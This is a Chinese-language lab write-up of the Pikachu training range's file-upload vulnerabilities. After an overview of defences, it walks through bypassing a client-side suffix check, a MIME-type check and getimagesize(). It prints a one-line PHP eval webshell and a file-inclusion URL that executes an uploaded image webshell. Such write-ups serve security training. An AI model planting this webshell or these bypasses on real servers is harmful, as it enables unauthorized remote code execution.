pikachu靶场- unsafe upfileupload
概述
不安全的文件上传漏洞概述
文件上传功能在web应用系统很常见,比如很多网站注册的时候需要上传头像、上传附件等等。当用户点击上传按钮后,后台会对上传的文件进行判断 比如是否是指定的类型、后缀名、大小等等,然后将其按照设计的格式进行重命名后存储在指定的目录。 如果说后台对上传的文件没有进行任何的安全判断或者判断条件不够严谨,则攻击着可能会上传一些恶意的文件,比如一句话木马,从而导致后台服务器被webshell。
所以,在设计文件上传功能时,一定要对传进来的文件进行严格的安全考虑。比如:
- 验证文件类型、后缀名、大小;
- 验证文件的上传方式;
- 对文件进行一定复杂的重命名;
- 不要暴露文件上传后的路径;
- 等等…
client check
上传一句话木马,改为jpg
后缀
<?php @eval($_POST['cmd']);?>
回显了文件保存路径
vul/unsafeupload/uploads/1.jpg
打开路径发现并没有执行php,不符合预期,要想办法上传.php
,抓包修改后缀试试,抓包的时候发现前端直接就检测后缀了,那可以先上传jpg
在抓包改为php
打开页面发现php
被执行了,使用蚁剑连接成功
MIME type
上传php文件抓包修改为image/jpeg
类型
成功上传并被执行了
getimagesize()
尝试抓包修改后缀名试试
上传一个图片马,图片马可以上传,但是没有执行,需要有文件包含漏洞
来到靶场/vul/fileinclude/fi_local.php
目录下,拼接图片马返回的url
/vul/fileinclude/fi_local.php?filename=../../unsafeupload/uploads/2024/10/24/628730671a0b5396669385741068.jpg&submit=%E6%8F%90%E4%BA%A4
成功执行